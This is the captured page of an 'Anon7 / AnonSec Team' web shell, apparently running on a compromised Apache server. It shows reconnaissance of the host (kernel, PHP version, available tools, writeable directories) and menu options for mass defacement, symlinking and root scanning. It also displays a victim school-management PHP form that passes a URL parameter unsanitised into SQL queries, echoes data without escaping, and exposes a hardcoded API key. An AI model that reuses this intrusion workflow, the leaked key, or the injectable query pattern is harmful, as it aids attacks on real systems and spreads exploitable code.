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/  Your IP : 216.73.217.165   [ Reverse IP ]
Web Server : Apache
System : Linux VMRALP-3 4.4.0-256-generic #290~14.04.1-Ubuntu SMP Thu Jun 20 09:24:50 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29+esm15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Domains : 3 Domains
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/sgae/obidos/form/fornecedor/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/html/sgae/obidos/form/fornecedor/fornecedor_e.php
<?php
    /**
     * Copyright (c) 2018.
     * O sistema está protegido por copyright.
     * Todo o copyright ou outros direitos de propriedade intelectual presentes no sistema, imagens, som, software e outros conteúdos do site são propriedade de Ralp Alves
     * Bezerra.
     * É permitida a pesquisa no sistema e a reprodução de excertos através de impressão ou distribuição para outras pessoas, mas em todos os casos para fins não comerciais.
     * Apenas é permitido o uso dos conteúdos do sistema para utilização pessoal. Nenhuma parte do sistema poderá ser reproduzida para ser vendida ou distribuída para ganhos
     * comerciais nem poderá ser modificada ou incorporada em qualquer outro trabalho, publicação ou site tanto no formato electrónico, como transferência para qualquer outro
     * site. Nenhuma outra licença ou direitos relacionados com o site são concedidos, sem autorização expressa do autor.
     */
    
    /**
     * Created by PhpStorm.
     * User: ralpb
     * Date: 20/09/2017
     * Time: 00:46
     */
    
    $id         = $_GET['id'];
    $fornecedor = $conn->query("SELECT * FROM v_fornecedor WHERE fornecedor_id=$id");
    $f          = $fornecedor->fetch(PDO::FETCH_OBJ);
    $fornecedor = $conn->query("SELECT * FROM estados ORDER BY estado");
    $estado     = $conn->query("SELECT * FROM estados ORDER BY estado");
    $cidade     = $conn->query("SELECT * FROM cidades ORDER BY cidade");
    $contrato   = $conn->query("SELECT * FROM v_fornecedor WHERE fornecedor_id=$id");
    $itens_cont = $conn->query("SELECT * FROM v_contrato_fornecedor_itens WHERE c_forn_id=$id");
    $cont_forn  = $conn->query("SELECT * FROM v_contrato_fornecedor WHERE c_forn_id=$id");
    $cf         = $cont_forn->fetch(PDO::FETCH_OBJ);

?>
<!--encaminhar_protocolo-->
<head>
    <script>
        function combo(id, acao, valor) {
            $.ajax({
                type: "GET",
                url: './ajax.php?a=' + acao + '&valor=' + valor,
                dataType: "html",
                success: function (resultado) {
                    //alert(resultado);

                    $('#' + id).html(resultado);
                    //$('#resposta').html(resultado);
                }
            });
        }
    </script>
    <script type="text/javascript">
        function lista_cidade() {
            var codigo = $('#cod_estado').val();
            if (codigo) {
                var url = 'form/fornecedor/lista_cidade.php?id_cod=' + codigo;
                $.get(url, function (dataReturn) {
                    $('#load_cidade').html(dataReturn);
                });
            }
        }
    </script>
</head>
<body>
<section class="content-header">
    <h1>
        <a href="?page=fornecedor/fornecedor_g" title="voltar" id="d_inicio2"><i class="fa fa-reply"><span>&nbsp;</span></i></a>
        <span class="text-bold text-blue titulo">Fornecedor</span>
        <small class="text-orange text-bold"><strong>(EDIÇÃO)</strong></small>
        <!--        <a href='#' class="text-center" onclick="startIntro_pe();" title="mostrar dicas"><i class="fa fa-question text-gray"></i></a>-->
        <!--<a href="index.php" title="Novo registro" class="pull-right"><i class="fa fa-plus-square text-green"></i></a>-->
    </h1>
    <ol class="breadcrumb">
        <li id="d_inicio"><a href="index.php"><i class="fa fa-dashboard"></i> Início</a></li>
        <li class="active">SGAE</li>
    </ol>
</section>

<section class="content">
    <form id="f_fornecedor_e" name="f_fornecedor_e" method="post" action="?page=fornecedor/fornecedor_a&var=editar">
        <!--DADOS DO FORNECEDOR-->
        <div class="box box-primary">
            <div class="box-header with-border">
                <h3 class="box-title text-bold text-blue titulo">Dados do Fornecedor <b style="color: orangered">ID <?php echo $f->fornecedor_id ?></b></h3>
                <div class="box-tools pull-right">
                    <button type="button" class="btn btn-box-tool" data-widget="collapse"><i class="fa fa-minus"></i></button>
                </div>
            </div>
            <input type="hidden" value="<?php echo $_cod_usuario ?>" name="cod_usuario">
            <input type="hidden" value="<?php echo $f->fornecedor_id ?>" name="fornecedor_id">
            <div class="box-body">
                <div class="row">
                    <div class="col-md-12">
                        <div class="col-md-2" hidden>
                            <h5 class="text-bold text-lbl-campo">ID </h5>
                            <div>
                                <input type="text" value="<?php echo $f->fornecedor_id ?>" readonly name="fornecedor_id" class="form-control uppercase">
                            </div>
                        </div>
                        <div class="col-md-7">
                            <h5 class="text-bold text-lbl-campo">Razão social </h5>
                            <div>
                                <input type="text" value="<?php echo $f->razao_social ?>" required name="razao_social" class="form-control uppercase">
                            </div>
                        </div>
                        <div class="col-md-5">
                            <h5 class="text-bold text-lbl-campo">Nome fantasia </h5>
                            <div>
                                <input type="text" value="<?php echo $f->nome_fantasia ?>" required name="nome_fantasia" class="form-control uppercase">
                            </div>
                        </div>
                        <div class="col-md-7">
                            <h5 class="text-bold text-lbl-campo">Endereço </h5>
                            <div>
                                <input type="text" value="<?php echo $f->endereco ?>" required name="endereco" class="form-control uppercase">
                            </div>
                        </div>
                        <div class="col-md-5">
                            <h5 class="text-bold text-lbl-campo">Bairro </h5>
                            <div>
                                <input type="text" value="<?php echo $f->bairro ?>" required name="bairro" class="form-control uppercase">
                            </div>
                        </div>
                        <div class="col-md-2">
                            <h5 class="text-bold text-lbl-campo">CEP </h5>
                            <div>
                                <input type="text" value="<?php echo $f->cep ?>" required name="cep" class="form-control uppercase" onkeyup="formataCEP(this,event);" maxlength="9">
                            </div>
                        </div>
                        <div class="col-md-1">
                            <h5 class="text-bold text-lbl-campo">UF</h5>
                            <div>
                                <select id="cod_estado" name="cod_estado" onchange="lista_cidade();" class="form-control select2">
                                    <!--                                    <option value="999999">Selecione</option>-->
                                    <?php while ($u = $estado->fetch(PDO::FETCH_OBJ)) {
                                        if ($u->codigo==$f->cod_estado) {
                                            $selected = 'selected';
                                        } else {
                                            $selected = '';
                                        } ?>
                                        <option value="<?php echo $u->codigo ?>"<?php echo $selected; ?>><?php echo $u->estado ?></option>
                                    <?php } ?>
                                </select>
                            </div>
                        </div>
                        <div class="col-md-4">
                            <h5 class="text-bold text-lbl-campo">Cidade</h5>
                            <div>
                                <select id="load_cidade" name="cod_cidade" class="form-control select2">
                                    <?php while ($c = $cidade->fetch(PDO::FETCH_OBJ)) {
                                        if ($c->codigo==$f->cod_cidade) {
                                            $selected = 'selected';
                                        } else {
                                            $selected = '';
                                        } ?>
                                        <option value="<?php echo $c->codigo ?>"<?php echo $selected; ?>><?php echo $c->cidade ?></option>
                                    <?php } ?>
                                </select>
                            </div>
                        </div>
                        <div class="col-md-1" hidden>
                            <h5 class="text-bold text-lbl-campo">&nbsp; </h5>
                            <div>
                                <?php
                                    
                                    require_once('mapa_class.php');
                                    $gmaps    = new gMaps('AIzaSyAgUGGCI4K4_KN9QX_w7U7WPIiK4BCRSng');
                                    $endereco = $e->endereco;
                                    $dados    = $gmaps->geoLocal($f->endereco . ' ' . $f->bairro . ' ' . $f->cidade . ' ' . $f->estado);
                                ?>
                                <input type='hidden' name='latitude' value='<?php echo $dados->lat ?>'/>
                                <input type='hidden' name='longitude' value='<?php echo $dados->lng ?>'/>
                                <a class='cb50x50' onclick='call_cbox(); return false;' href="index2.php?page=fornecedor/ver_mapa&latitude=<?php echo $dados->lat ?>&longitude=<?php echo $dados->lng ?>&fornecedor=<?php echo $f->razao_social ?>"><i class="fa fa-map-marker fa-2x" title="ver no mapa"></i></a>
                            </div>
                        </div>
                        <div class="col-md-3">
                            <h5 class="text-bold text-lbl-campo">CNPJ </h5>
                            <div>
                                <input type="text" value="<?php echo $f->cnpj ?>" name="cnpj" class="form-control uppercase" onkeyup="formataCNPJ(this,event);" maxlength="18">
                            </div>
                        </div>
                        <div class="col-md-2">
                            <h5 class="text-bold text-lbl-campo">CPF (pessoa física) </h5>
                            <div>
                                <input type="text" value="<?php echo $f->cpf ?>" name="cpf" class="form-control uppercase" onkeyup="formataCPF(this,event);" maxlength="14">
                            </div>
                        </div>
                        <div class="col-md-4">
                            <h5 class="text-bold text-lbl-campo">Inscrição municipal </h5>
                            <div>
                                <input type="text" value="<?php echo $f->insc_municipal ?>" name="insc_municipal" class="form-control uppercase">
                            </div>
                        </div>
                        <div class="col-md-3">
                            <h5 class="text-bold text-lbl-campo">Inscrição estadual </h5>
                            <div>
                                <input type="text" value="<?php echo $f->insc_estadual ?>" name="insc_estadual" class="form-control uppercase">
                            </div>
                        </div>
                        <div class="col-md-3">
                            <h5 class="text-bold text-lbl-campo">INSS (pessoa física) </h5>
                            <div>
                                <input type="text" value="<?php echo $f->inss ?>" name="inss" class="form-control uppercase">
                            </div>
                        </div>
                        <div class="col-md-2">
                            <h5 class="text-bold text-lbl-campo">Telefone </h5>
                            <div>
                                <input type="text" value="<?php echo $f->telefone ?>" name="telefone" onkeyup="mascara(this,celular);" class="form-control uppercase">
                            </div>
                        </div>
                        <div class="col-md-7">
                            <h5 class="text-bold text-lbl-campo">Site da empresa </h5>
                            <div>
                                <input type="text" value="<?php echo $f->site_empresa ?>" name="site_empresa" class="form-control text-lowercase">
                            </div>
                        </div>
                        <div class="col-md-5">
                            <h5 class="text-bold text-lbl-campo">E-mail da empresa </h5>
                            <div>
                                <input type="email" value="<?php echo $f->email_empresa ?>" name="email_empresa" class="form-control text-lowercase">
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
        <!--DADOS DO CONTATO-->
        <div class="box box-primary">
            <div class="box-header with-border">
                <h3 class="box-title text-bold text-blue titulo">Dados do contato</h3>
                <div class="box-tools pull-right">
                    <button type="button" class="btn btn-box-tool" data-widget="collapse"><i class="fa fa-minus"></i></button>
                </div>
            </div>
            <div class="box-body">
                <div class="row">
                    <div class="col-md-12">
                        <div class="col-md-6">
                            <h5 class="text-bold text-lbl-campo">Nome </h5>
                            <div>
                                <input type="text" value="<?php echo $f->contato_nome ?>" name="contato_nome" class="form-control uppercase">
                            </div>
                        </div>
                        <div class="col-md-6">
                            <h5 class="text-bold text-lbl-campo">Cargo </h5>
                            <div>
                                <input type="text" value="<?php echo $f->contato_cargo ?>" name="contato_cargo" class="form-control uppercase">
                            </div>
                        </div>
                        <div class="col-md-6">
                            <h5 class="text-bold text-lbl-campo">E-mail </h5>
                            <div>
                                <input type="mail" value="<?php echo $f->contato_email ?>" name="contato_email" class="form-control text-lowercase">
                            </div>
                        </div>
                        <div class="col-md-6">
                            <h5 class="text-bold text-lbl-campo">Telefone </h5>
                            <div>
                                <input type="text" value="<?php echo $f->contato_telefone ?>" name="contato_telefone" onkeyup="mascara(this,celular);" class="form-control uppercase">
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
        <!--SALVAR-->
        <div class="box box-primary text-center">
            <div class="row">
                <div class="col-md-12">
                    <button id="d_salvar" type="submit" title="salvar registro" class="btn btn-box-tool text-blue">
                        <i class="fa fa-check-circle fa-2x"><span class="text-bold FontCourier titulo"> Salvar</span></i>
                    </button>
                </div>
            </div>
        </div>
    </form>
    <!--DADOS DO CONTRATO-->
    <div class="box box-primary">
        <div class="box-header with-border">
            <h3 class="box-title text-bold text-blue titulo">Itens do contrato</h3>
            <div class="box-tools pull-right">
                <button type="button" class="btn btn-box-tool" data-widget="collapse"><i class="fa fa-minus"></i></button>
            </div>
        </div>
        <section class="content">
            <div class="card">
                <div class="card-content table-responsive" id="tabProt">
                    <table id="dtabela" class="table table-bordered table-responsive table-hover">
                        <thead style="font-size: 12px;">
                        <tr>
                            <th>Contrato</th>
                            <th>Item</th>
                            <th>Unidade</th>
                            <th>Marca</th>
                            <th class="text-right">V.Unit.</th>
                            <th class="text-right">Quant.</th>
                            <th class="text-right">Total R$</th>
                        </tr>
                        </thead>
                        <tbody style="font-size: 13px;">
                        <?php
                            $v = 0;
                            while ($c = $itens_cont->fetch(PDO::FETCH_OBJ)) {
                                echo "<tr>";
                                echo "<td>" . $cf->numero_contrato . "</td>";
                                echo "<td>" . $c->item_nome . ' (' . $c->item_id . ')' . "</td>";
                                echo "<td>" . $c->unidade_nome . "</td>";
                                echo "<td>" . $c->marca . "</td>";
                                echo "<td class='text-right'>" . number_format($c->valor_unitario, 2, ',', '.') . "</td>";
                                echo "<td class='text-right'>" . number_format($c->quantidade, 2, ',', '.') . "</td>";
                                echo "<td class='text-right'>" . number_format(($c->quantidade * $c->valor_unitario), 2, ',', '.') . "</td>";
                                echo "</tr>";
                                $v += ($c->quantidade * $c->valor_unitario);
                            }
                        ?>
                        </tbody>
                    </table>
                    <table id="dtabelas" class="table table-bordered table-responsive table-hover">
                        <thead>
                        <tr>
                            <th class="text-center" style="font-size: 12px;">Itens:
                                <?php echo number_format($itens_cont->rowCount(), 0, ',', '.') ?></th>
                            <th class="text-right" style="font-size: 13px;">
                                <?php echo number_format($v, 2, ',', '.') ?></th>
                        </tr>
                        </thead>
                    </table>
                </div>
            </div>
        </section>
    </div>
    <div class="col-md-12">
        <div id="d_obs" class="text-center">
            <span style="font-size: 9px;"><?php echo 'Última alteração efetuada por ' . strtoupper($f->usuario) . ' em ' . date('d/m/Y', strtotime($f->data_edicao)) ?></span>
        </div>
    </div>
</section>

<link rel="stylesheet" href="components/iziModal-master/css/iziModal.min.css">
<script src="components/iziModal-master/js/iziModal.min.js" type="text/javascript"></script>
<script>
    $("#modal_programa_e").iziModal({
        title: 'SGAE',
        subtitle: '<?php echo $cliente->nome ?>',
        headerColor: '#367fa9',
        iframe: true,
        focusInput: true,
        width: '50%',
        radius: 10,
        bodyOverflow: true,
        transitionIn: 'fadeInLeft',
        transitionOut: 'fadeOutRight',
        iframeURL: "index2.php?page=escola/programa_e&id=<?php echo $e->esc_id ?>",
        onClosed: function () {
            window.location.reload()
        },
    });
</script>
<script>
    $("#modal_taco").iziModal({
        title: 'SGAE',
        subtitle: 'Vincular TACO V4',
        subtitle: '<?php echo $cliente->nome ?>',
        headerColor: '#367fa9',
        iframe: true,
        focusInput: true,
        width: '50%',
        radius: 10,
        bodyOverflow: true,
        transitionIn: 'fadeInLeft',
        transitionOut: 'fadeOutRight',
        iframeURL: "index2.php?page=produto/vincular_taco&id=<?php echo $i->cod_item ?>",
        onClosed: function () {
            window.location.reload()
        },
    });
</script>
<script>
    $("#modal_marca").iziModal({
        title: 'SGAE',
        subtitle: '<?php echo $cliente->nome ?>',
        headerColor: '#367fa9',
        iframe: true,
        focusInput: true,
        width: '50%',
        radius: 10,
        bodyOverflow: true,
        transitionIn: 'fadeInLeft',
        transitionOut: 'fadeOutRight',
        iframeURL: "index2.php?page=produto/marca",
        //onClosed: function () {
        //    window.location.reload()
        //},
    });
</script>
<script>
    $("#modal_rota").iziModal({
        title: 'SGAE',
        subtitle: '<?php echo $cliente->nome ?>',
        headerColor: '#367fa9',
        iframe: true,
        focusInput: true,
        width: '50%',
        radius: 10,
        bodyOverflow: true,
        transitionIn: 'fadeInLeft',
        transitionOut: 'fadeOutRight',
        iframeURL: "index2.php?page=escola/rota",
        //onClosed: function () {
        //    window.location.reload()
        //},
    });
</script>
<script>
    $("#modal_distrito").iziModal({
        title: 'SGAE',
        subtitle: '<?php echo $cliente->nome ?>',
        headerColor: '#367fa9',
        iframe: true,
        focusInput: true,
        width: '50%',
        radius: 10,
        bodyOverflow: true,
        transitionIn: 'fadeInLeft',
        transitionOut: 'fadeOutRight',
        iframeURL: "index2.php?page=escola/distrito",
        //onClosed: function () {
        //    window.location.reload()
        //},
    });
</script>
<script>
    $("#modal_programa").iziModal({
        title: 'SGAE',
        subtitle: '<?php echo $cliente->nome ?>',
        headerColor: '#367fa9',
        iframe: true,
        focusInput: true,
        width: '50%',
        radius: 10,
        bodyOverflow: true,
        transitionIn: 'fadeInLeft',
        transitionOut: 'fadeOutRight',
        iframeURL: "index2.php?page=escola/programa",
        //onClosed: function () {
        //    window.location.reload()
        //},
    });
</script>
<link href="dist/css/select2.min.css" rel="stylesheet"/>
<script src="dist/js/jquery.min.js"></script>
<script src="dist/js/select2.full.min.js"></script>
<script src="dist/js/jquery.ddslick.min.js"></script>
<script>
    $(function () {
        $('.select2').select2()
    })
</script>

<script type="text/javascript">
    $(document).ready(function () {
        $("#id_usuario").change(function () {
            // pega o valor do select selecionado
            var valor_select = $(this).val();
            // insere o valor no input desejado
            $("#id_recebe").val(valor_select);
        });
    });
</script>

<script type="text/javascript">
    function startIntro_pe() {
        var intro = introJs()
        intro.setOptions(
            {
                steps: [
                    {
                        element: '#d_inicio',
                        intro: "Clique para voltar para a  <b>listagem</b> de protocolos"
                    },
                ]
            });

        intro.start();
    }
</script>
<script type="text/javascript">
    function startIntro_anexo() {
        var intro = introJs()
        intro.setOptions(
            {
                steps: [
                    {
                        element: '#d_desc_anexo',
                        intro: "informe a descrição do arquivo que será anexado"
                    },
                ]
            });

        intro.start();
    }
</script>
<ToDO Colobox>
    <!--ABRIR JANELA COLORBOX-->
    <link rel="stylesheet" href="components/colorbox/example4/colorbox.css"/>
    <script src="components/colorbox/jquery.colorbox.js"></script>
    <script type="text/javascript">
        function call_cbox() {
            jQuery.colorbox($(".cb50x50").colorbox({
                iframe: true,
                title: "S.G.M.E. | <?php echo $cliente->nome ?>",
                width: "70%",
                height: "90%",
                overlayClose: false,
                fadeOut: 300,
                iframe: true,
                scrolling: true,
                overlayClose: false,
                close: "<i class='fa fa-times-circle fa-2x text-orange' title='voltar'></i>",
//                onClosed: function () {
//                    location.reload(true);
//                }
            }));
        }
    </script>
</ToDO>
</body>

Anon7 - 2022
AnonSec Team